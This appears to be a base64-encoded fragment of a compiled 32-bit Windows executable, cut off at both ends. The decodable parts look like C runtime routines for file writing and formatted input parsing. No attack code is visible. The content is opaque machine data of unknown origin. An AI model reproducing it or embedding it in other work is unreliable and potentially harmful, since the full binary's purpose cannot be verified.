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///+FOOX//+mDAAAAPAF0BDwCdSEPtzMzyYP+Cg+UwYPDAoOFQOX//wKJtUTl//+JjRzl//88AXQEPAJ1Uv+1ROX//+j6bgAAWWY7hUTl//8PhUkDAACDhTjl//8Cg70c5f//AHQpag1YUImFROX//+jNbgAAWWY7hUTl//8PhRwDAAD/hTjl////hTDl//+LRRA5hUDl//8Pgvn9///pCAMAAIsOihP/hTjl//+IVA80iw6JRA846e8CAAAzyYsD9kQ4BIAPhKECAACAvT/l//8AiY1E5f//D4WoAAAAi5005f//OU0QD4b9AgAAi8sz9iuNNOX//42FSOX//ztNEHMmihNDQYmdIOX//4D6CnUL/4Uw5f//xgANQEaIEEBGgf7/EwAActWL8I2FSOX//yvwagCNhSjl//9QVo2FSOX//1CLhSTl//+LAP80B/8VbOEDEIXAD4RDAgAAi4Uo5f//AYU45f//O8YPjDsCAACLwyuFNOX//ztFEA+CbP///+klAgAAgL0/5f//Ag+FzQAAAIudNOX//zlNEA+GSAIAAIOlQOX//wCLyyuNNOX//2oCjYVI5f//XjtNEHNDD7cTA94DzomdIOX//4P6CnUaAbUw5f//ag1bZokYi50g5f//A8YBtUDl//8BtUDl//9miRADxoG9QOX///4TAAByuIvwjYVI5f//K/BqAI2FKOX//1BWjYVI5f//UIuFJOX//4sA/zQH/xVs4QMQhcAPhGkBAACLhSjl//8BhTjl//87xg+MYQEAAIvDK4U05f//O0UQD4JH////6UsBAACLhTTl//+JhSzl//85TRAPhnUBAACLjSzl//+DpUDl//8AK4005f//agKNhUj5//9eO00QczuLlSzl//8PtxIBtSzl//8DzoP6CnUOag1bZokYA8YBtUDl//8BtUDl//9miRADxoG9QOX//6gGAABywDP2VlZoVQ0AAI2N8Ov//1GNjUj5//8rwZkrwtH4UIvBUFZo6f0AAP8VSOIDEIvYO94PhJcAAABqAI2FKOX//1CLwyvGUI2ENfDr//9Qi4Uk5f//iwD/NAf/FWzhAxCFwHQMA7Uo5f//O95/y+sM/xV44QMQiYVE5f//O95/XIuFLOX//yuFNOX//4mFOOX//ztFEA+CC////+s/UY2NKOX//1H/dRD/tTTl////NDj/FWz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//4C9c/7//wAPhP7+//+AvWr+//8AibVQ/v//dRmLhRz+//+LGImFFP7//4PABImFHP7//+sCM9uAvWv+//8AiZ1E/v//xoVz/v//AHUYigY8U3QLxoVr/v///zxDdQfGhWv+//8BD7Y+g88gib0Y/v//g/9udFCD/2N0GYP/e3QU/7Vg/v//jbV0/v//6Fr8//9Z6xGLlWD+////hXT+///oMPz//4mFbP7//4P4/w+E+wwAAIudRP7//4u1UP7//4u9GP7//4uNQP7//4XJdA2DvWT+//8AD4Q2DAAAgL1q/v//AHVBg/9jdAqD/3N0BYP/e3Uyi4UU/v//ixiDwASJhRT+//+DwASJhRz+//+LQPyJnUT+//+JhTT+//+D+AEPgvULAACD/28Pj5cFAAAPhFUIAACD/2MPhBAEAACD/2QPhEMIAAAPjqMFAACD/2d+RIP/aXQhg/9uD4WQBQAAgL1q/v//AIuFdP7//w+EvwoAAOnmCgAAamRfi51s/v//g/stD4WTBgAAxoVc/v//AemMBgAAM9uDvWz+//8tdQyLhVj+///GAC1D6wmDvWz+//8rdR3/jWT+//+LlWD+////hXT+///oB/v//4mFbP7//4O9QP7//wB1B4ONZP7///8PtoVs/v//62uLhWT+////jWT+//+FwHRmioVs/v//i41Y/v///4VU/v//iAQLjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+gr+v//g8QMhcAPhHELAACLlWD+////hXT+///ohvr//4mFbP7//w+2wFDoamn//1mFwHWKi4X8/f//i4C8AAAAiwCKAIiFXf7//zqFbP7//w+F5QAAAIuFZP7///+NZP7//4XAD4TRAAAAi5Vg/v///4V0/v//6Cv6//+LjVj+//+JhWz+//+KhV3+//+IBAuNhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6H75//+DxAyFwA+ExAoAAA+2hWz+///ra4uFZP7///+NZP7//4XAdGaLhVj+//+KjWz+////hVT+//+IDAONhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6CT5//+DxAyFwA+EagoAAIuVYP7///+FdP7//+h/+f//iYVs/v//D7bAUOhjaP//WYXAdYqDvVT+//8AD4RfAQAAg71s/v//ZXQNg71s/v//RQ+FSQEAAIuFZP7///+NZP7//4XAD4Q1AQAAi4VY/v//xgQDZY2FMP7//1CNhXz+//9QQ1ONvVj+//+NtSj+///okvj//4PEDIXAD4TYCQAAi5Vg/v///4V0/v//6O34//+JhWz+//+D+C11LIuFWP7//8YEAy2NhTD+//9QjYV8/v//UENT6Ez4//+DxAyFwA+EkgkAAOsJg71s/v//K3Uvi4Vk/v///41k/v//hcB1CCGFZP7//+sXi5Vg/v///4V0/v//6IT4//+JhWz+//8PtoVs/v//62uLhWT+////jWT+//+FwHRmi4VY/v//io1s/v///4VU/v//iAwDjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+i49///g8QMhcAPhP4IAACLlWD+////hXT+///oE/j//4mFbP7//w+2wFDo92b//1mFwHWK/410/v//g71s/v///3QT/7Vg/v///7Vs/v//6Dd1//9ZWYO9VP7//wAPhKoIAACAvWr+//8AD4VNBwAAi4VY/v///4U4/v//jY38/f//UVD/tUT+///GBAMAD76Fe/7//0hQ/zX8EgUQ/xVo4gMQ/9CDxBDpEAcAAIXJdRD/hWT+///HhUD+//8BAAAAgL1r/v//AH4HxoVf/v//Af+NdP7//4O9bP7///+L83QT/7Vg/v///7Vs/v//6Jh0//9ZWYP/Y3QG/400/v//g71A/v//AHQUi4Vk/v///41k/v//hcAPhHYDAACLlWD+////hXT+///oBff//4mFbP7//4P4/w+EPQMAAIP/Y3RMg/9zdROD+Al8CYP4DQ+OJQMAAIP4IHU0g/97D4UXAwAAD769Xf7//zPSi8iD4QdC0+KLyMH5Aw++TA3cM8+F0Q+E8gIAAIu9GP7//4C9av7//wAPhdkCAACDvTT+//8AD4QaBwAAgL1f/v//AA+EsQIAAIiFIP7//w+2wFDojzEAAFmFwHQXi5Vg/v///4V0/v//6Fn2//+IhSH+//+Nhfz9//9Qi4X8/f//x4UQ/v//PwAAAP+wrAAAAI2FIP7//1CNhRD+//9Q6PAzAABmi4UQ/v//g8QQZokDg8MC6UQCAACLx4PocA+EsgIAAIPoAw+EiP7//0hID4SoAgAAg+gDD4SQ+v//g+gDdDMPtgY7hWz+//8PhTwGAAD+jV7+//+AvWr+//8AD4VMBQAAi4UU/v//iYUc/v//6TsFAACAvWv+//8AfgfGhV/+//8BRoA+XnUIRsaFXf7///9qII1F3GoAUOhSaf//g8QMgD5ddQyyXUbGRecg6ZIAAACKlS/+///phwAAAEY8LXVrhNJ0Z4oOgPlddGBGOtFzCIiNe/7//+sIiJV7/v//itE6lXv+//9zJoqFe/7//yrCD7b6D7bQi8+D4QeLx7MB0uPB6AONRAXcCBhHSnXoD7aNe/7//4vBg+EHsgHS4sHoA41EBdwIEDLS6xcPtsiK0IvBg+EHswHB6APS441EBdwIGIoGPF0PhW////+EwA+EqAUAAIudRP7//4u9GP7//4m1UP7//+lV/f//g/srdS7/jWT+//91DYXJdAnGhXP+//8B6xmLlWD+////hXT+///ojPT//4vYiZ1s/v//g/swD4V4AQAAi5Vg/v///4V0/v//6Gr0//+L2ImdbP7//4D7eHRQgPtYdEvHhVT+//8BAAAAg/94dBuDvUD+//8AdA7/jWT+//91Bv6Fc/7//2pv61v/jXT+//+D+/90Dv+1YP7//1Pob3H//1lZajBb6QQBAACLlWD+////hXT+///o/PP//4O9QP7//wCL2ImdbP7//3QWg61k/v//AoO9ZP7//wF9Bv6Fc/7//2p4X+nKAAAAiANDiZ1E/v//6Yb8//9G6Yb8////jXT+//+D+P90Dv+1YP7//1Do+nD//1lZO/MPhHIEAACAvWr+//8AD4UVAwAA/4U4/v//g70Y/v//Yw+EAgMAAIC9X/7//wB0EIuNRP7//zPAZokB6ekCAACLhUT+///GAADp2wIAAMaFe/7//wGLnWz+//+D+y11CcaFXP7//wHrBYP7K3Uu/41k/v//dQ2FyXQJxoVz/v//AesZi5Vg/v///4V0/v//6Avz//+L2ImdbP7//4O9JP7//wAPhEYBAACAvXP+//8AD4UIAQAAg/94dGmD/3B0ZA+2w1DoyWH//1mFwA+E0wAAAIP/b3Uqg/s4D43FAAAAi4VI/v//i41M/v//D6TBA8HgA4mFSP7//4mNTP7//+tfagBqCv+1TP7///+1SP7//+jlZP//iYVI/v//iZVM/v//6zwPtsNQ6Olh//9ZhcB0c4uFSP7//4uNTP7//w+kwQTB4ARTiYVI/v//iY1M/v//6Cjy//+L2FmJnWz+////hVT+//+NQ9CZAYVI/v//EZVM/v//g71A/v//AHQI/41k/v//dDeLlWD+////hXT+///oB/L//4vYiZ1s/v//6RH/////jXT+//+D+/90Dv+1YP7//1PoO2///1lZgL1c/v//AA+E/gAAAIuFSP7//4uNTP7///fYg9EA99mJhUj+//+JjUz+///p2gAAAIC9c/7//wAPhb4AAACD/3h0N4P/cHQyD7bDUOiDYP//WYXAD4SJAAAAg/9vdRCD+zh9f4uFPP7//8HgA+s1i4U8/v//a8AK6yoPtsNQ6NVg//9ZhcB0W8GlPP7//wRT6Czx//+L2IuFPP7//1mJnWz+////hVT+//+DvUD+//8AjUQY0ImFPP7//3QI/41k/v//dDeLlWD+////hXT+///oC/H//4vYiZ1s/v//6Vv/////jXT+//+D+/90Dv+1YP7//1PoP27//1lZgL1c/v//AHQG9508/v//g/9GdQeDpVT+//8Ag71U/v//AA+ElwEAAIC9av7//wB1Pv+FOP7//4udRP7//4uFPP7//4O9JP7//wB0E4uFSP7//4kDi4VM/v//iUME6xCAvXv+//8AdASJA+sDZokDi7VQ/v///oVe/v//Rom1UP7//+tsPCV1BjhGAXUBRouVYP7///+FdP7//+hG8P//i9gPtgZGiZ1s/v//ibVQ/v//O8MPhe4AAAAPtsNQ6EMrAABZhcB0KYuVYP7///+FdP7//+gN8P//D7YORom1UP7//zvID4WqAAAA/410/v//g71s/v///3UbgD4lD4W9AAAAi4VQ/v//gHgBbg+FrQAAAIvwigaEwA+FLfH//+mcAAAAg71s/v///+t+gL1r/v//AH4HM8BmiQPrA8YDAOhwPP//xwAMAAAA63ODvWz+////dBP/tWD+////tWz+///o12z//1lZx4UM/v//AQAAAOtL6Ds8//+AvV/+//8AxwAMAAAAdAczwGaJBuswxgYA6yuD+P90Dv+1YP7//1DomGz//1lZg/v/dBP/tWD+////tWz+///ogGz//1lZg70w/v//AXUM/7VY/v//6N8R//9Zg71s/v///3Uqi4U4/v//hcB1CziFXv7//3UDg8j/gL0I/v//AHQ+i40E/v//g2Fw/esyg70M/v//AXUQ6J87///HABYAAADo8nL//4C9CP7//wB0CouFBP7//4NgcP2LhTj+//9bi038XzPNXugQDP//ycOL/1WL7IsGOUUIdUmLD2oEUDtNDHUu6MRY//9ZWYkHhcB1BDPAXcOLRRDHAAEAAACLBgPAUP91DP836GpA//+DxAzrD1HoL1n//4PEDIXAdNKJB9EmM8BAXcOL/1WL7PdFCAD/AABWdRoPt3UIi8Yl/wAAAFDoFl3//1mFwHQEi8brCg+3RQiD4N+D6AdeXcOL/1WL7Lj//wAAZjtFCHQGXelKZv//XcOL/1WL7Ff/dQj/BugrYv//D7f4uP//AABZZjv4dA5qCFfoz1IAAFlZhcB12maLx19dw4v/VYvsgexIAwAAodAGBRAzxYlF/ItNFItFCFaLdQxXM/+Jjdj8//+NjUD9//+JhSD9//+Jtfz8//+JjRj9///HheT8//9eAQAAib3g/P//ib3c/P//ib3Q/P//ib0w/f//ib3M/P//O/d1GOghOv//xwAWAAAA6HRx//+DyP/pVBEAADvHdOT/dRCNjbz8///oaRv//w+3BsaFHv3//wCJvTj9//+Jvez8//9mO8cPhAoRAABTaghQ6AVSAABZWYXAdE7/tSD9////jTj9////tSD9//+NtTj9///o7f7//w+3wFlQ6Mv+//+Ltfz8//9ZWYPGAg+3BmoIUOjCUQAAWVmFwHXsibX8/P//6a4PAACLtfz8//8PtwZqJVlmO8gPhT4PAABmO04CD4QmDwAAM/+JvQz9//+Jvbj8//+JvRT9//+JvfT8//+JvSj9//+JvfD8///GhQP9//8AxoUd/f//AMaFL/3//wDGhT/9//8AxoUf/f//AMaFN/3//wDGhSf9//8Bib0Q/f//g8YCD7ce98MA/wAAdSwPtsNQ6BFb//9ZhcB0HouFKP3///+F9Pz//2vACo1EGNCJhSj9///pygAAAIP7Tg+PhAAAAA+EuwAAAIP7KnRxg/tGD4StAAAAg/tJdBCD+0x1df6FJ/3//+mYAAAAD7dOAoP5NnUeZoN+BDR1F4PGBP+FEP3//4m9BP3//4m9CP3//+txg/kzdQxmg34EMnUFg8YE62CD+WR0W4P5aXRWg/lvdFGD+Xh0TIP5WHUZ60X+hS/9///rPYP7aHQsg/tsdA2D+3d0Gv6FP/3//+smZoN+Amx1BYPGAuuV/oUn/f///oU3/f//6wz+jSf9///+jTf9//+AvT/9//8AD4Tv/v//gL0v/f//AIm1/Pz//3UZi4XY/P//ixiJhdT8//+DwASJhdj8///rAjPbgL03/f//AImd+Pz//8aFP/3//wB1Gw+3BoP4U3QMxoU3/f//AYP4Q3UHxoU3/f///w+3PoPPIIm96Pz//4P/bnRSg/9jdBiD/3t0E/+1IP3//421OP3//+io/P//6xH/tSD9////hTj9///o0F7//w+3wFm5//8AAImFMP3//2Y7yA+E8g0AAIud+Pz//4u1/Pz//4uN9Pz//4XJdA2DvSj9//8AD4S8DQAAgL0v/f//AHVBg/9jdAqD/3N0BYP/e3Uyi4XU/P//ixiDwASJhdT8//+DwASJhdj8//+LQPyJnfj8//+JhfD8//+D+AEPghANAACD/28PjwYGAAAPhF8JAACD/2MPhNgEAABqZFg7+A+ESwkAAA+OEAYAAIP/Z35Mg/9pdCGD/24Phf0FAACAvS/9//8Ai4U4/f//D4QHDAAA6S4MAACJhej8//+L+IudMP3//2otWGY7ww+FQwcAAMaFHf3//wHpPwcAAGotWDPbZjuFMP3//3UMi40Y/f//ZokBQ+sMaitYZjuFMP3//3Uh/40o/f///7Ug/f///4U4/f//6JRd//8Pt8BZiYUw/f//g730/P//AHUHg40o/f////eFMP3//wD/AAAPhYwAAAAPtoUw/f//UOgKWP//WYXAdHqLhSj9////jSj9//+FwHRqZg++hTD9//+LjRj9////hRT9//9miQRZjYXg/P//UI2FQP3//1BDU429GP3//4215Pz//+gs+v//g8QMhcAPhD4MAAD/tSD9////hTj9///o81z//w+3wFmJhTD9//+pAP8AAA+EdP///4uFvPz//4uAvAAAAItAMA+3MA++jTD9//+LxjvBD4X/AAAAi4Uo/f///40o/f//hcAPhOsAAAD/tSD9////hTj9///ollz//w+3wImFMP3//4uFGP3//2aJNFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6H/5//+DxBCFwA+EkQsAAPeFMP3//wD/AAAPhYsAAAAPtoUw/f//UOjnVv//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Ar5//+DxAyFwA+EHAsAAP+1IP3///+FOP3//+jRW///D7fAWYmFMP3//6kA/wAAD4R1////g70U/f//AA+ElAEAAGplWGY7hTD9//90EGpFWGY7hTD9//8PhXgBAACLhSj9////jSj9//+FwA+EZAEAAIuNGP3//2plWGaJBFmNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6G74//+DxAyFwA+EgAoAAP+1IP3///+FOP3//+g1W///WQ+3wGotWYmFMP3//2Y7yHUuUYuNGP3//1hmiQRZjYXg/P//UI2FQP3//1BDU+gf+P//g8QMhcAPhDEKAADrDGorWGY7hTD9//91M4uFKP3///+NKP3//4XAdQghhSj9///rG/+1IP3///+FOP3//+jAWv//D7fAWYmFMP3///eFMP3//wD/AAAPhYsAAAAPtoUw/f//UOhGVf//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Gn3//+DxAyFwA+EewkAAP+1IP3///+FOP3//+gwWv//D7fAWYmFMP3//6kA/wAAD4R1/////7Ug/f///404/f///7Uw/f//6LH3//+DvRT9//8AWVkPhC8JAACAvS/9//8AD4UfCAAAi7Xk/P//i40Y/f///4Xs/P//M8CNdDYCVmaJBFnofU///4v4WYX/D4T1CAAAjUb/UP+1GP3//1ZXM/ZW6HFSAACDxBQ7xnQSg/gWD4R8CAAAg/giD4RzCAAAjYW8/P//UA++hSf9//9X/7X4/P//SFD/NfwSBRD/FWjiAxD/0Ffo6gf//4PEFOmSBwAAhcl1EP+FKP3//8eF9Pz//wEAAACAvTf9//8AfgfGhR/9//8B/7Ug/f///404/f///7Uw/f//i/Poy/b//1lZg/9jdAb/jfD8//+DvfT8//8AdBSLhSj9////jSj9//+FwA+ExQMAAP+1IP3///+FOP3//+jjWP//D7fQuP//AABZiZUw/f//ZjvCD4SIAwAAg/9jdFKD/3N1E4P6CXIJg/oND4ZwAwAAg/ogdTqD/3sPhWIDAAAPt8KLyDP/g+EHR9Pni43c/P//wegDD74ECA++jQP9//8zwYX4i73o/P//D4QxAwAAgL0v/f//AA+FHAMAAIO98Pz//wAPhGEHAACAvR/9//8AD4S6AgAAZokTg8MCiZ34/P//6SX///+Lx4PocA+ETQMAAIPoAw+E4f7//0hID4RDAwAAg+gDD4Qo+v//g+gDdDOLhTD9//9mOQYPhfIGAAD+jR79//+AvS/9//8AD4UnBgAAi4XU/P//iYXY/P//6RYGAACAvTf9//8AfgfGhR/9//8Bal5YjX4CZjtGAnUKjX4ExoUD/f///4u13Pz//4X2dSVoACAAAOhcTf//WYmF3Pz//4XAD4TQBgAAx4XQ/P//AQAAAIvwaAAgAABqAFboA1f//4PEDGpdWGY7B3UOUFqDxwLGRgsg6ZoAAACLlbj8///pjwAAAA+3wGotWYPHAmY7yHVwZoXSdGsPtw9qXVtmO9l0YIvBg8cCZjvQcwLrBQ+3yovQiY0Q/f//ZjvRcyqLwSvCD7fAD7faiYUM/f//i8uD4QeyAdLii8PB6AMIFDBD/40M/f//deYPt40Q/f//i8GD4QeyAdLiwegDCBQwM9LrEYvIg+EHswHS44vQwegDCBwwD7cHal1ZZjvID4Vi////ZoM/AA+E6wUAAIud+Pz//4m9/Pz//4u96Pz//+lj/f//aitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///obFb//w+32FmJnTD9//9qMFhmO8MPhcgBAAD/tSD9////hTj9///oRVb//1kPt9hqeF6JnTD9//9mO/N0VWpYW